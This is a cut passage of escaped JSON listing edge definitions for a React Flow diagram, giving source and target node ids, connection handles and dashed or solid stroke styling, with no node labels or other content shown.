\"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-kAIKsDcDzwI1E0wSnC_uow2-dREH4cc39Y1bdc3LWj3kPx2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dREH4cc39Y1bdc3LWj3kP\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"yR94uHs0SiSScU4gPBzfr\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-dREH4cc39Y1bdc3LWj3kPw2-yR94uHs0SiSScU4gPBzfrx1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kAIKsDcDzwI1E0wSnC_uo\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"INYUFVZ-_4htveLZ6EvRu\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-kAIKsDcDzwI1E0wSnC_uox2-INYUFVZ-_4htveLZ6EvRuw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"INYUFVZ-_4htveLZ6EvRu\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"YvuYJceeNNfLBpq2-3iiL\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-INYUFVZ-_4htveLZ6EvRux2-YvuYJceeNNfLBpq2-3iiLw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kAIKsDcDzwI1E0wSnC_uo\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ZGnWzU8SwucATFNOwfCO6\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-kAIKsDcDzwI1E0wSnC_uoz2-ZGnWzU8SwucATFNOwfCO6y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ZGnWzU8SwucATFNOwfCO6\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"4fPgpGwNXmVoZoruBRb_B\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ZGnWzU8SwucATFNOwfCO6x2-4fPgpGwNXmVoZoruBRb_Bw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4fPgpGwNXmVoZoruBRb_B\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"1I5eFKqFVBxWLAXfpgNXO\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-4fPgpGwNXmVoZoruBRb_By2-1I5eFKqFVBxWLAXfpgNXOz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pNEE5C1E1wAjH_nTlzH6N\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"XX5rCd_yTHvOfYif4Kpbl\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-pNEE5C1E1wAjH_nTlzH6Nx2-XX5rCd_yTHvOfYif4Kpblw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pNEE5C1E1wAjH_nTlzH6N\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"PvFp6aY7EUrYHn87RZAGj\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-pNEE5C1E1wAjH_nTlzH6Ny2-PvFp6aY7EUrYHn87RZAGjz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PvFp6aY7EUrYHn87RZAGj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"TLm70PlTI0K3Odn1iYxWX\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-PvFp6aY7EUrYHn87RZAGjx2-TLm70PlTI0K3Odn1iYxWXw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KpcmuLWX0xAjz6ty4ebtB\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"w0i5Dxp40XS2HnF5nXeZI\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KpcmuLWX0xAjz6ty4ebtBw2-w0i5Dxp40XS2HnF5nXeZIx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w0i5Dxp40XS2HnF5nXeZI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"i-T6GTqS0FZ_Llt5v4SvR\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-w0i5Dxp40XS2HnF5nXeZIy2-i-T6GTqS0FZ_Llt5v4SvRz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"z8PqfFgpZnl4lCSvmwIsN\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ajPGMwoaFb1UFWTtpi5kd\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-z8PqfFgpZnl4lCSvmwIsNx2-ajPGMwoaFb1UFWTtpi5kdw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1AtH8yhL6W4S9eYZBaCHL\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-7OW2IgiMk1eot1PaYd7m\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-1AtH8yhL6W4S9eYZBaCHLz2--7OW2IgiMk1eot1PaYd7mw1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-7OW2IgiMk1eot1PaYd7m\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"RwvC4Pi18_1phcrJL-9iu\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge--7OW2IgiMk1eot1PaYd7mz2-RwvC4Pi18_1phcrJL-9iuy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-7OW2IgiMk1eot1PaYd7m\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"GKuxilB0AwjcTgCSk3FeU\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge--7OW2IgiMk1eot1PaYd7mw2-GKuxilB0AwjcTgCSk3FeUx1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4fPgpGwNXmVoZoruBRb_B\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"pNEE5C1E1wAjH_nTlzH6N\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-4fPgpGwNXmVoZoruBRb_Bx2-pNEE5C1E1wAjH_nTlzH6Nw1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PvFp6aY7EUrYHn87RZAGj\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"KpcmuLWX0xAjz6ty4ebtB\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-PvFp6aY7EUrYHn87RZAGjy2-KpcmuLWX0xAjz6ty4ebtBz2\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KpcmuLWX0xAjz6ty4ebtB\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"z8PqfFgpZnl4lCSvmwIsN\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KpcmuLWX0xAjz6ty4ebtBy2-z8PqfFgpZnl4lCSvmwIsNw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"UzpdLLPs226N00c6weWRv\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"B1DmR10bex-DVutd6mjns\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0xwoWj9jek36p1AwU3WkK\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"apc3cgMdfQY3zL7AmL5ai\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"28HMXXBJWd3n-ZPgeQRDa\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"W6gdCIkqSFo70guQ6cKCT\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-28HMXXBJWd3n-ZPgeQRDaz2-W6gdCIkqSFo70guQ6cKCTy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"28HMXXBJWd3n-ZPgeQRDa\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"WaoIITgpj3XEyqDKw6cG_\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-28HMXXBJWd3n-ZPgeQRDaz2-WaoIITgpj3XEyqDKw6cG_y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"knDbJw2PEIMyr0TpZLsLM\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"28HMXXBJWd3n-ZPgeQRDa\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-knDbJw2PEIMyr0TpZLsLMz2-28HMXXBJWd3n-ZPgeQRDay1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"28HMXXBJWd3n-ZPgeQRDa\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"OfwGqSMcV0noepKIjQbx1\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-28HMXXBJWd3n-ZPgeQRDax2-OfwGqSMcV0noepKIjQbx1w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"OfwGqSMcV0noepKIjQbx1\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"BtPYKd7RedHOLRATDKkpg\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-OfwGqSMcV0noepKIjQbx1y2-BtPYKd7RedHOLRATDKkpgz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BtPYKd7RedHOLRATDKkpg\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"z3AUN9u7EEqeKOqvLxf7D\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-BtPYKd7RedHOLRATDKkpgw2-z3AUN9u7EEqeKOqvLxf7Dx2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BtPYKd7RedHOLRATDKkpg\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qJEd7KU52xL_GRG3IQqhM\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-BtPYKd7RedHOLRATDKkpgy2-qJEd7KU52xL_GRG3IQqhMw1\",\n      \"selected\": false,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"M9UlalPL47GoqhcyGsAPV\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"4cWO8voeSULdXPlaEm3Ue\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hinNObLi-5tbZFuY8U3i6\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kWaIUH-qNU3mcLbTcxVAn\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qJEd7KU52xL_GRG3IQqhM\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"M9UlalPL47GoqhcyGsAPV\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qJEd7KU52xL_GRG3IQqhMz2-M9UlalPL47GoqhcyGsAPVy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qJEd7KU52xL_GRG3IQqhM\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ysaBCl_TtWqelirptQp7P\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-qJEd7KU52xL_GRG3IQqhMx2-ysaBCl_TtWqelirptQp7Pw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ysaBCl_TtWqelirptQp7P\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"-aLGB3cDXZHIhVU3t-Ve4\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ysaBCl_TtWqelirptQp7Px2--aLGB3cDXZHIhVU3t-Ve4w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6gfqFy3H6SLt06oJ1kt5A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"H4-Dp2WTA6HAZiFRQdLjx\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6gfqFy3H6SLt06oJ1kt5Az2-H4-Dp2WTA6HAZiFRQdLjxy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6gfqFy3H6SLt06oJ1kt5A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ImS1FqVicQImMw-y1ze7y\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6gfqFy3H6SLt06oJ1kt5Az2-ImS1FqVicQImMw-y1ze7yy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6gfqFy3H6SLt06oJ1kt5A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"8v_eP0j85TnB33XyYAzrT\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6gfqFy3H6SLt06oJ1kt5Az2-8v_eP0j85TnB33XyYAzrTy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6gfqFy3H6SLt06oJ1kt5A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_bkRbqVXKNCnRvEFCM6mN\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6gfqFy3H6SLt06oJ1kt5Az2-_bkRbqVXKNCnRvEFCM6mNy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6gfqFy3H6SLt06oJ1kt5A\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3qjQbrCUchJn1bJTBWrQF\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6gfqFy3H6SLt06oJ1kt5Az2-3qjQbrCUchJn1bJTBWrQFy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6gfqFy3H6SLt06oJ1kt5A\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"WYV4YG_sLvC4S5ptFFdrF\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-6gfqFy3H6SLt06oJ1kt5Ax2-WYV4YG_sLvC4S5ptFFdrFw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WYV4YG_sLvC4S5ptFFdrF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"UTVh1RHRWb5eA-S7ayLp8\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-WYV4YG_sLvC4S5ptFFdrFx2-UTVh1RHRWb5eA-S7ayLp8w2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WYV4YG_sLvC4S5ptFFdrF\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"JoNoM-utp8MaL1H0oXDta\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-WYV4YG_sLvC4S5ptFFdrFz2-JoNoM-utp8MaL1H0oXDtaw1\",\n      \"selected\": false,\n      \"type\": \"step\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JoNoM-utp8MaL1H0oXDta\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GjY5qCU1rjB0D58qHQtAR\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-JoNoM-utp8MaL1H0oXDtax2-GjY5qCU1rjB0D58qHQtARw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JoNoM-utp8MaL1H0oXDta\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"f2iqFKp8t5n1Hyho0MrrA\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-JoNoM-utp8MaL1H0oXDtay2-YzJVkZbOzgp5w9N0IQBN_z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"f2iqFKp8t5n1Hyho0MrrA\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"fbloF-u4XwdHLmBS9flZm\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-YzJVkZbOzgp5w9N0IQBN_y2-fbloF-u4XwdHLmBS9flZmz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fbloF-u4XwdHLmBS9flZm\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Tv8-WUcKiZMLHuunQwise\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-fbloF-u4XwdHLmBS9flZmy2-Tv8-WUcKiZMLHuunQwisez1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Tv8-WUcKiZMLHuunQwise\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"KFkX8_Hv9SCFeCtZMZIQM\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Tv8-WUcKiZMLHuunQwisew2-KFkX8_Hv9SCFeCtZMZIQMx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Tv8-WUcKiZMLHuunQwise\",\n      